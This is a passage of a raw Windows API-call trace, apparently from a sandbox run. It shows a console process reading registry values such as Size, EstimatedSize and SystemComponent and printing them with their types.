lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.255] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.256] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.256] __iob_func () returned 0x7fefd702a80 [0148.256] _fileno (_File=0x7fefd702ab0) returned 1 [0148.256] _errno () returned 0xc4bb0 [0148.256] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.256] _errno () returned 0xc4bb0 [0148.256] GetFileType (hFile=0x50) returned 0x1 [0148.256] lstrlenW (lpString="REG_SZ") returned 6 [0148.256] GetConsoleOutputCP () returned 0x1b5 [0148.256] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.256] GetConsoleOutputCP () returned 0x1b5 [0148.256] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.256] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.256] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.256] __iob_func () returned 0x7fefd702a80 [0148.256] _fileno (_File=0x7fefd702ab0) returned 1 [0148.256] _errno () returned 0xc4bb0 [0148.256] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.256] _errno () returned 0xc4bb0 [0148.256] GetFileType (hFile=0x50) returned 0x1 [0148.256] lstrlenW (lpString=" ") returned 4 [0148.256] GetConsoleOutputCP () returned 0x1b5 [0148.256] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.257] GetConsoleOutputCP () returned 0x1b5 [0148.257] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.257] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.257] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.257] __iob_func () returned 0x7fefd702a80 [0148.257] _fileno (_File=0x7fefd702ab0) returned 1 [0148.257] _errno () returned 0xc4bb0 [0148.257] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.257] _errno () returned 0xc4bb0 [0148.257] GetFileType (hFile=0x50) returned 0x1 [0148.257] lstrlenW (lpString="") returned 0 [0148.257] __iob_func () returned 0x7fefd702a80 [0148.257] _fileno (_File=0x7fefd702ab0) returned 1 [0148.257] _errno () returned 0xc4bb0 [0148.257] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.257] _errno () returned 0xc4bb0 [0148.257] GetFileType (hFile=0x50) returned 0x1 [0148.257] lstrlenW (lpString="\n") returned 1 [0148.257] GetConsoleOutputCP () returned 0x1b5 [0148.257] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.257] GetConsoleOutputCP () returned 0x1b5 [0148.257] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.257] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.257] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.258] GetProcessHeap () returned 0x2e0000 [0148.258] GetProcessHeap () returned 0x2e0000 [0148.258] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.258] GetProcessHeap () returned 0x2e0000 [0148.258] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.258] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.258] RegEnumValueW (in: hKey=0x5c, dwIndex=0xd, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Size", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.258] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.258] GetProcessHeap () returned 0x2e0000 [0148.258] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.258] GetProcessHeap () returned 0x2e0000 [0148.258] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.258] GetProcessHeap () returned 0x2e0000 [0148.258] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.258] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.258] __iob_func () returned 0x7fefd702a80 [0148.258] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.258] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.258] _fileno (_File=0x7fefd702ab0) returned 1 [0148.258] _errno () returned 0xc4bb0 [0148.258] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.258] _errno () returned 0xc4bb0 [0148.258] GetFileType (hFile=0x50) returned 0x1 [0148.258] lstrlenW (lpString=" ") returned 4 [0148.258] GetConsoleOutputCP () returned 0x1b5 [0148.258] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.258] GetConsoleOutputCP () returned 0x1b5 [0148.259] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.259] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.259] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.259] lstrlenW (lpString="Size") returned 4 [0148.259] __iob_func () returned 0x7fefd702a80 [0148.259] _fileno (_File=0x7fefd702ab0) returned 1 [0148.259] _errno () returned 0xc4bb0 [0148.259] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.259] _errno () returned 0xc4bb0 [0148.259] GetFileType (hFile=0x50) returned 0x1 [0148.259] lstrlenW (lpString="Size") returned 4 [0148.259] GetConsoleOutputCP () returned 0x1b5 [0148.259] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.259] GetConsoleOutputCP () returned 0x1b5 [0148.259] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Size", lpUsedDefaultChar=0x0) returned 4 [0148.259] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.259] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.259] __iob_func () returned 0x7fefd702a80 [0148.259] _fileno (_File=0x7fefd702ab0) returned 1 [0148.259] _errno () returned 0xc4bb0 [0148.259] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.259] _errno () returned 0xc4bb0 [0148.259] GetFileType (hFile=0x50) returned 0x1 [0148.259] lstrlenW (lpString=" ") returned 4 [0148.259] GetConsoleOutputCP () returned 0x1b5 [0148.260] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.260] GetConsoleOutputCP () returned 0x1b5 [0148.260] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.260] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.260] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.260] __iob_func () returned 0x7fefd702a80 [0148.260] _fileno (_File=0x7fefd702ab0) returned 1 [0148.260] _errno () returned 0xc4bb0 [0148.260] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.260] _errno () returned 0xc4bb0 [0148.260] GetFileType (hFile=0x50) returned 0x1 [0148.260] lstrlenW (lpString="REG_SZ") returned 6 [0148.260] GetConsoleOutputCP () returned 0x1b5 [0148.260] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0148.260] GetConsoleOutputCP () returned 0x1b5 [0148.260] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0148.260] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0148.260] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.260] __iob_func () returned 0x7fefd702a80 [0148.260] _fileno (_File=0x7fefd702ab0) returned 1 [0148.260] _errno () returned 0xc4bb0 [0148.261] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.261] _errno () returned 0xc4bb0 [0148.261] GetFileType (hFile=0x50) returned 0x1 [0148.261] lstrlenW (lpString=" ") returned 4 [0148.261] GetConsoleOutputCP () returned 0x1b5 [0148.261] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.261] GetConsoleOutputCP () returned 0x1b5 [0148.261] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.261] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.261] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.261] __iob_func () returned 0x7fefd702a80 [0148.261] _fileno (_File=0x7fefd702ab0) returned 1 [0148.261] _errno () returned 0xc4bb0 [0148.261] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.261] _errno () returned 0xc4bb0 [0148.261] GetFileType (hFile=0x50) returned 0x1 [0148.261] lstrlenW (lpString="") returned 0 [0148.261] __iob_func () returned 0x7fefd702a80 [0148.261] _fileno (_File=0x7fefd702ab0) returned 1 [0148.261] _errno () returned 0xc4bb0 [0148.261] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.261] _errno () returned 0xc4bb0 [0148.261] GetFileType (hFile=0x50) returned 0x1 [0148.261] lstrlenW (lpString="\n") returned 1 [0148.261] GetConsoleOutputCP () returned 0x1b5 [0148.262] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.262] GetConsoleOutputCP () returned 0x1b5 [0148.262] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.262] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.262] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.262] GetProcessHeap () returned 0x2e0000 [0148.262] GetProcessHeap () returned 0x2e0000 [0148.262] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.262] GetProcessHeap () returned 0x2e0000 [0148.262] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.262] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.262] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.262] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.262] GetProcessHeap () returned 0x2e0000 [0148.262] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.262] GetProcessHeap () returned 0x2e0000 [0148.262] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.262] GetProcessHeap () returned 0x2e0000 [0148.262] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.262] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x9e4, pcbData=0x23f670*=0x4) returned 0x0 [0148.262] __iob_func () returned 0x7fefd702a80 [0148.262] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.262] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.262] _fileno (_File=0x7fefd702ab0) returned 1 [0148.262] _errno () returned 0xc4bb0 [0148.262] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.262] _errno () returned 0xc4bb0 [0148.262] GetFileType (hFile=0x50) returned 0x1 [0148.262] lstrlenW (lpString=" ") returned 4 [0148.263] GetConsoleOutputCP () returned 0x1b5 [0148.263] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.263] GetConsoleOutputCP () returned 0x1b5 [0148.263] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.263] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.263] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.263] lstrlenW (lpString="EstimatedSize") returned 13 [0148.263] __iob_func () returned 0x7fefd702a80 [0148.263] _fileno (_File=0x7fefd702ab0) returned 1 [0148.263] _errno () returned 0xc4bb0 [0148.263] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.263] _errno () returned 0xc4bb0 [0148.263] GetFileType (hFile=0x50) returned 0x1 [0148.263] lstrlenW (lpString="EstimatedSize") returned 13 [0148.263] GetConsoleOutputCP () returned 0x1b5 [0148.263] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.263] GetConsoleOutputCP () returned 0x1b5 [0148.263] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0148.263] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.263] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.264] __iob_func () returned 0x7fefd702a80 [0148.264] _fileno (_File=0x7fefd702ab0) returned 1 [0148.264] _errno () returned 0xc4bb0 [0148.264] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.264] _errno () returned 0xc4bb0 [0148.264] GetFileType (hFile=0x50) returned 0x1 [0148.264] lstrlenW (lpString=" ") returned 4 [0148.264] GetConsoleOutputCP () returned 0x1b5 [0148.264] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.264] GetConsoleOutputCP () returned 0x1b5 [0148.264] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.264] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.264] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.264] __iob_func () returned 0x7fefd702a80 [0148.264] _fileno (_File=0x7fefd702ab0) returned 1 [0148.264] _errno () returned 0xc4bb0 [0148.264] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.264] _errno () returned 0xc4bb0 [0148.264] GetFileType (hFile=0x50) returned 0x1 [0148.264] lstrlenW (lpString="REG_DWORD") returned 9 [0148.264] GetConsoleOutputCP () returned 0x1b5 [0148.264] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.264] GetConsoleOutputCP () returned 0x1b5 [0148.265] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.265] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.265] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.265] __iob_func () returned 0x7fefd702a80 [0148.265] _fileno (_File=0x7fefd702ab0) returned 1 [0148.265] _errno () returned 0xc4bb0 [0148.265] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.265] _errno () returned 0xc4bb0 [0148.265] GetFileType (hFile=0x50) returned 0x1 [0148.265] lstrlenW (lpString=" ") returned 4 [0148.265] GetConsoleOutputCP () returned 0x1b5 [0148.265] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.265] GetConsoleOutputCP () returned 0x1b5 [0148.265] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.265] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.265] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.265] __iob_func () returned 0x7fefd702a80 [0148.265] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.265] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x9e4") returned 5 [0148.265] _fileno (_File=0x7fefd702ab0) returned 1 [0148.265] _errno () returned 0xc4bb0 [0148.265] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.265] _errno () returned 0xc4bb0 [0148.265] GetFileType (hFile=0x50) returned 0x1 [0148.266] lstrlenW (lpString="0x9e4") returned 5 [0148.266] GetConsoleOutputCP () returned 0x1b5 [0148.266] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x9e4", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0148.266] GetConsoleOutputCP () returned 0x1b5 [0148.266] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x9e4", cchWideChar=5, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x9e4", lpUsedDefaultChar=0x0) returned 5 [0148.266] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0148.266] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.266] __iob_func () returned 0x7fefd702a80 [0148.266] _fileno (_File=0x7fefd702ab0) returned 1 [0148.266] _errno () returned 0xc4bb0 [0148.266] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.266] _errno () returned 0xc4bb0 [0148.266] GetFileType (hFile=0x50) returned 0x1 [0148.266] lstrlenW (lpString="\n") returned 1 [0148.266] GetConsoleOutputCP () returned 0x1b5 [0148.266] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.266] GetConsoleOutputCP () returned 0x1b5 [0148.266] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.266] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.266] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.267] GetProcessHeap () returned 0x2e0000 [0148.267] GetProcessHeap () returned 0x2e0000 [0148.267] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.267] GetProcessHeap () returned 0x2e0000 [0148.267] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.267] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.267] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="SystemComponent", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.267] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.267] GetProcessHeap () returned 0x2e0000 [0148.267] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.267] GetProcessHeap () returned 0x2e0000 [0148.267] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.267] GetProcessHeap () returned 0x2e0000 [0148.267] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.267] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0148.267] __iob_func () returned 0x7fefd702a80 [0148.267] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.267] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.267] _fileno (_File=0x7fefd702ab0) returned 1 [0148.267] _errno () returned 0xc4bb0 [0148.267] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.267] _errno () returned 0xc4bb0 [0148.267] GetFileType (hFile=0x50) returned 0x1 [0148.267] lstrlenW (lpString=" ") returned 4 [0148.267] GetConsoleOutputCP () returned 0x1b5 [0148.267] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.267] GetConsoleOutputCP () returned 0x1b5 [0148.268] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.268] fprintf (in: _File=0x7fefd702ab0, 